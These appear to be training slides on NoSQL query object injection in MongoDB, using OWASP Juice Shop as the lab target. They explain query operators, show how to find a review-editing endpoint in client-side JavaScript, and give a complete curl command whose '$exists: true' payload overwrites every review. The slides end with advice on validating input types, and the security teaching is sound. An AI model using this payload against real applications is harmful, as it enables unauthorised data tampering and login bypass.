NoSQL Injection: MongoDb Query Object Injection
Talk Scope
- Learn about Mongo's Query Objects, and how they can circumvent server-side password validation
- Interactive Exercise: Reconnaissance of client-side javascript to find API endpoints and associated payload
- Interactive Exercise: Use Query Object injection to update all product reviews within Owasp's Juice Shop
Recap: What is NoSQL Injection (NoSQLi)?
- Introduced when developers create dynamic database queries that include user supplied input (untrusted input)
- What unexpected input types could we receive?
Query Objects
// Mongo shell syntax (dev syntax is very similar)
db.accounts.find({username: username_value, password: password_value});
// Find method signature
db.collection.find(query[[[, fields], options], callback]);
{username: username_value, password: password_value}
- Query Object that can be leveraged to validate username/password
- Query Objects contain logic
- If more than one field is specified, it's an
AND
query
Exercise: Evaluating Injection Risks
db.accounts.find({username: username_value, password: password_value});
- BSON injection course recap
- Validation issues within an underlying library could allow an attacker to inject
username_value
/ password_value
with unexpected characters
- Assume that the underlying libraries are validating correctly, how could one attack
username_value
/ password_value
?
- Hint: Usually the issues are right in front of you
- Answer: Nested Query Objects
Example: Query Object Injection
db.accounts.find({username: username_value, password: password_value});
- Set
password_value
equal to another query object
- What is
$exists
?
Query Operator Attack Vector
- To subvert the validation condition, an attacker can try to inject query objects that evaluate to
true
Query Operators
- Query Operators
- Logical
- Element
- Evaluation
$where
- Matches documents that satisfy a JavaScript expression
- Comment
db.collection.find( { <query>, $comment: <comment> } )
Exercise Overview
- Scenario
- You are a Juice Shop owner and you're trying to degrade the reputation of your competition
- You want all preexisting reviews to be altered and display your message
- Threat modeling
- The financially motivated attacker
- Not always "You've been PAWNED! You suck! Muhaha"
- Attack Steps
- Evaluate client-side code to find API endpoint
- Leverage query object injection to update all reviews
Exercise Setup
docker run -p 3000:3000 securingthestack/juice-shop:nosqli-object-injection
- View http://localhost:3000 in Google Chrome
- Create new user and log in
- Chrome Dev Tools
dist/juice-shop.min.js
- Pretty Print
- Search for
patch
- Click on a product from the main page and submit a product review
Copy as cURL
to give yourself a template
Exercise Assignment
- Leverage the code (relevant code linked to
patch
), curl template, and query object injection to update every review on the site
- Hint
- Focus on the
id
field for the query object injection
{ "id": X, "message": X }
Solution: Find Patch Data
angular.module("juiceShop").controller("ProductReviewEditController", ["$scope", "$uibModalInstance", "ProductReviewService", "review", function(n, e, t, o) {
"use strict";
n.id = o._id,
n.message = o.message,
n.editReview = function() {
t.patch({
id: n.id,
message: n.message
}).then(function() {
e.close(n.message)
}).catch(function(e) {
console.log(e),
n.err = e
})
}
}
Solution: Construct Payload
Solution: Find API endpoint URL
Solution: Construct cURL command
curl 'http://localhost:3000/rest/product/reviews' -X PATCH -H 'Pragma: no-cache'
-H 'Origin: http://localhost:3000' -H 'Accept-Encoding: gzip, deflate, br' -H
'Accept-Language: en-US,en;q=0.9' -H 'Authorization: Bearer
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6OSwiZW1haWwiOiJmb29AZm9vLmNvbSIsInBhc3N3b3JkIjoiZmRiYTk4OTcwOTYxZWRiMjlmODgyNDFiOWQ5OWQ4OTAiLCJjcmVhdGVkQXQiOiIyMDE4LTA3LTIyIDIyOjA4OjE4LjA0OSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTA3LTIyIDIyOjA4OjE4LjA0OSArMDA6MDAifSwiaWF0IjoxNTMyMjk3MzE4LCJleHAiOjE1MzIzMTUzMTh9.u19Fl-GcuZvNSaFDgzYFIKFrnpGnhTZTMqV0s-ZVSB7cJDWPaLgfdG3hYA0Wb7MgbZQFzHV_BcLzoHKRkJe-T_p_8E6LhUyr9A6VWbTt9f9IHEyeXH6EqmuM3WkeTkB8cgDqVpOiLLz8K9U6-B6z5yThnECwKbrinRTWgoT2g3E'
-H 'Content-Type: application/json;charset=UTF-8' -H 'Accept: application/json,
text/plain, */*' -H 'Cache-Control: no-cache' -H 'User-Agent: Mozilla/5.0
(Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/67.0.3396.99 Safari/537.36' -H 'Cookie:
connect.sid=s%3AkVWjF7LgDglaiBddGx4d-i0ZZIkXRC7T.atB7Ffy5NCMywjOCiL51vNAcWb5rt5aCw%2BuS5x7eWMw;
cookieconsent_status=dismiss; language=en;
i18next=en;
continueCode=DLz1ZK8EnQbOajlDeV71P9Jp5wyLA6m0oMBN2XrKx4RmvzZ6k3YqWgaE74yj;
io=rwn8sIR1IsKAeZhUAAAD;
token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6OSwiZW1haWwiOiJmb29AZm9vLmNvbSIsInBhc3N3b3JkIjoiZmRiYTk4OTcwOTYxZWRiMjlmODgyNDFiOWQ5OWQ4OTAiLCJjcmVhdGVkQXQiOiIyMDE4LTA3LTIyIDIyOjA4OjE4LjA0OSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDE4LTA3LTIyIDIyOjA4OjE4LjA0OSArMDA6MDAifSwiaWF0IjoxNTMyMjk3MzE4LCJleHAiOjE1MzIzMTUzMTh9.u19Fl-GcuZvNSaFDgzYFIKFrnpGnhTZTMqV0s-ZVSB7cJDWPaLgfdG3hYA0Wb7MgbZQFzHV_BcLzoHKRkJe-T_p_8E6LhUyr9A6VWbTt9f9IHEyeXH6EqmuM3WkeTkB8cgDqVpOiLLz8K9U6-B6z5yThnECwKbrinRTWgoT2g3E'
-H 'Connection: keep-alive' -H 'Referer: http://localhost:3000/' -H 'DNT: 1'
--data-binary '{ "id": { "$exists": true }, "message": "I cant believe how SOUR this juice
was!!" }' --compressed
Takeaways
- Attackers profile Javascript to deduce admin functionality (or functionality that isn't immediately available within the application)
- Input Validation
- Regular Expressions aren't enough, we must also validate type
0 comments